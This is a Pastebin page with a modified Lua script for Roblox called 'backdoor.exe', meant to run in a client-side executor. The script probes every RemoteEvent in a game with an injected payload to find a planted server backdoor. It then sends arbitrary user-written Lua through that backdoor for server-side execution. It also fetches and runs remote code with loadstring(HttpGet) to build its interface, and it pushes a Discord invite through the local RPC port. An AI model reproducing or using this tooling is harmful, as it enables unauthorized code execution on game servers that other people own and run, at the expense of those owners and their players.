Advertisement
MiRw3b

backdoor.exe modded

Jul 15th, 2022
80,776
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 7.70 KB | None | 0 0
  1. --[[
  2.     backdoor.exe, the best backdoor scanner in Roblox.
  3.     Copyright (C) 2021  iK4oS
  4.     The maker: iK4oS
  5.  
  6.     This program is free software: you can redistribute it and/or modify
  7.     it under the terms of the GNU General Public License as published by
  8.     the Free Software Foundation, either version 3 of the License, or
  9.     (at your option) any later version.
  10.  
  11.     This program is distributed in the hope that it will be useful,
  12.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.     GNU General Public License for more details.
  15.  
  16.     You should have received a copy of the GNU General Public License
  17.     along with this program.  If not, see <https://www.gnu.org/licenses/>.
  18. ]]
  19.  
  20. --I JUST MODIFIED IT SO ITS WORKING BETTER :Troll: - SRK1D
  21.  
  22.  
  23. local localPlayer = game:GetService("Players").LocalPlayer
  24. local randID = tostring(localPlayer.UserId * 2)..tostring(math.random(100000000,1000000000))
  25.  
  26. local UI_PARENT = game:GetService("CoreGui").RobloxGui
  27. local INV_CODE = "xJHCqm84cW"
  28.  
  29. local function notify(text,cb,b1,b2)
  30.     game:GetService("StarterGui"):SetCore(
  31.         "SendNotification",{
  32.             Title = "backdoor.exe",
  33.             Duration = 3,
  34.             Text = text,
  35.             Callback = cb,
  36.             Button1 = b1,
  37.             Button2 = b2
  38.         }
  39.     )
  40. end
  41.  
  42. -- Removing dubs
  43. for _, ui in pairs(UI_PARENT:GetChildren()) do
  44.     if ui:IsA("ScreenGui") and string.match(ui.Name, tostring(localPlayer.UserId * 2)) then
  45.         ui:Destroy()
  46.     end
  47. end
  48.  
  49. local UI = loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/v6/ui.lua"))()
  50. if syn then syn.protect_gui(UI) end
  51.  
  52. UI.Name = randID
  53. UI.Parent = UI_PARENT
  54.  
  55. local function findObject(name)
  56.      for i, object in pairs(UI:GetDescendants()) do
  57.         if object.Name == name then return object end
  58.      end
  59. end
  60.  
  61. UI.Main.Active = true
  62. UI.Main.Draggable = true
  63.  
  64. -- Top Bar
  65. local closeButton = findObject("Close_Button")
  66. local statusText = findObject("Status")
  67. local statusColor = findObject("Status_Color")
  68. local r6Button = findObject("R6Button")
  69.  
  70. -- Source Frame
  71. local sourceFrame = findObject("sourceFrame")
  72. local source = findObject("source")
  73. local lines = findObject("lines")
  74.  
  75. -- Source Buttons
  76. local sourceButtons = findObject("Main_Buttons")
  77. --- Left
  78. local executeButton = findObject("Execute_Button")
  79. local clearButton = findObject("Clear_Button")
  80. local hideButton = findObject("Hide_Button")
  81. --- Right
  82. local scanButton = findObject("Scan_Button")
  83. local inviteButton = findObject("Invite_Button")
  84.  
  85.  
  86. local BackdoorUI = {
  87.     attached = false,
  88.     backdoorRemote = nil,
  89.     scanning = false
  90. }
  91.  
  92. local function changeUiState()
  93.  
  94.     local attachColors = {
  95.         ["true"] = Color3.fromRGB(95, 185, 47),
  96.         ["false"] = Color3.fromRGB(185, 48, 48)
  97.     }
  98.     local attachTexts = {
  99.         ["true"] = "Attached",
  100.         ["false"] = "Unattached"
  101.     }
  102.  
  103.     BackdoorUI.attached = not BackdoorUI.attached
  104.     statusColor.BackgroundColor3 = attachColors[tostring(BackdoorUI.attached)]
  105.     statusText.Text = attachTexts[tostring(BackdoorUI.attached)]
  106.  
  107.     if BackdoorUI.attached then
  108.         notify("Backdoor Found")
  109.     end
  110. end
  111.  
  112. --Waste of time - SRK1D
  113. local function stringToInstance(str)
  114.      -- Credits to the DevForum
  115.     local dir = str
  116.     local segments = dir:split(".")
  117.     local current = game
  118.     for i, v in pairs(segments) do
  119.          current = current[v]
  120.     end
  121.     return current
  122. end
  123.  
  124. --Why tf would you do that? (PS. Using anti-censoring is a way to get banned - The users)
  125. local function scan()
  126.  
  127.     --for it to decently work
  128.  
  129.     local function gen()
  130.         local R = math.random(10, 20)
  131.         local F = ""
  132.         for i = 1, R do
  133.             F = F..string.char(math.random(67, 97))
  134.         end
  135.         return F
  136.     end
  137.  
  138.     local function adonis_check(rem)
  139.         if (rem.Parent == game:GetService("ReplicatedStorage") and #rem:GetChildren() ==1 and rem:GetChildren()[1].Name == "__FUNCTION") then
  140.             return false
  141.         else
  142.             return true
  143.         end
  144.     end
  145.  
  146.     if BackdoorUI.scanning then return end
  147.     if BackdoorUI.attached then changeUiState() end
  148.  
  149.     local remotes_table = {}
  150.     for i, v in next, game:GetDescendants() do
  151.         if (v:IsA("RemoteEvent") and adonis_check(v)) then
  152.            remotes_table[gen()] = v
  153.         end
  154.     end
  155.  
  156.     --The lag is going to be extreme if there is more than 100k remotes :troll:
  157.     local index = 0
  158.     for i, v in next, remotes_table do
  159.  
  160.         --Will make so the ping doesnt significantly be higher
  161.         index = index + 1
  162.         if index % 73 == 0 then wait(0.011) end
  163.  
  164.         spawn(function()
  165.             v:FireServer([[local F = Instance.new("StringValue"); F.Parent = game:GetService("Workspace"); F.Name = "]]..i..[["]])
  166.         end)
  167.  
  168.         game:GetService("RunService").RenderStepped:Wait()
  169.     end
  170.  
  171.     --Should be enough I guess :troll:
  172.     backdoor = nil
  173.     wait(0.5)
  174.  
  175.     for i, v in next, remotes_table do
  176.         if game:GetService("Workspace"):FindFirstChild(i) then
  177.             game:GetService("Workspace"):FindFirstChild(i):Destroy()
  178.             changeUiState()
  179.             notify("Found a backdoor")
  180.             BackdoorUI.backdoorRemote = v
  181.             backdoor = v
  182.             return
  183.         end
  184.     end
  185.  
  186.     statusText.Text = "Rechecking"
  187.  
  188.     for i, v in next, remotes_table do
  189.         if game:GetService("Workspace"):FindFirstChild(i) then
  190.             game:GetService("Workspace"):FindFirstChild(i):Destroy()
  191.             changeUiState()
  192.             notify("Found a backdoor")
  193.             BackdoorUI.backdoorRemote = v
  194.             backdoor = v
  195.             return
  196.         end
  197.     end
  198.  
  199.     BackdoorUI.scanning = false
  200.     notify("Failed to find a backdoor")
  201.     return
  202. end
  203.  
  204. local function executeScript(scrpt)
  205.     if not scrpt then scrpt = source.Text end
  206.  
  207.     if not BackdoorUI.attached then
  208.  
  209.         local function callback(text)
  210.             if text == "Yes" then
  211.                 scan()
  212.                 BackdoorUI.backdoorRemote:FireServer(scrpt)
  213.             elseif text == "No" then
  214.                 return
  215.             end
  216.         end
  217.  
  218.         local bf = Instance.new("BindableFunction"); bf.OnInvoke = callback
  219.  
  220.         notify("You're not attached.\nWould you like to attach now?", bf, "Yes", "No")
  221.     else
  222.         BackdoorUI.backdoorRemote:FireServer(scrpt)
  223.     end
  224. end
  225.  
  226. local function promtDicordInvite(invCode)
  227.  
  228.     setclipboard(invCode)
  229.  
  230.     local httpService = game:GetService("HttpService")
  231.     local httpRequest = (syn and syn.request) or (httpService and httpService.request) or http_request
  232.  
  233.     if not httpRequest then notify("Invite code copied!") return end
  234.  
  235.     local request = httpRequest({
  236.         Url = "http://127.0.0.1:6463/rpc?v=1",
  237.         Method = "POST",
  238.  
  239.         Headers = {
  240.             ['Content-Type'] = 'application/json',
  241.             Origin = 'https://discord.com'
  242.         },
  243.  
  244.         Body = httpService:JSONEncode({
  245.             args = {code = invCode},
  246.             cmd = 'INVITE_BROWSER',
  247.             nonce = httpService:GenerateGUID(false)
  248.         })
  249.     })
  250.     if request.StatusCode ~= 200 then notify("Invite code copied!") return end
  251.     notify("You have been promted to join our Discord. Open your Discord.")
  252. end
  253.  
  254. -- Buttons
  255. closeButton.MouseButton1Click:Connect(function() UI:Destroy() end)
  256. scanButton.MouseButton1Click:Connect(scan)
  257. executeButton.MouseButton1Click:Connect(executeScript)
  258. r6Button.MouseButton1Click:Connect(function() executeScript("require(3041175937):r6('"..localPlayer.Name.."')") end)
  259. clearButton.MouseButton1Click:Connect(function() source.Text = ""  end)
  260. hideButton.MouseButton1Click:Connect(function() sourceFrame.Visible = not sourceFrame.Visible end)
  261. inviteButton.MouseButton1Click:Connect(function() promtDicordInvite(INV_CODE) end)
  262. notify("Make sure to join our Discord!\nCode: "..INV_CODE)
  263.  
  264. --  k4scripts
  265. --  .------.
  266. --  |4.--. |
  267. --  | :/\: |
  268. --  | :\/: |
  269. --  | '--'4|
  270. --  `------'
  271.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement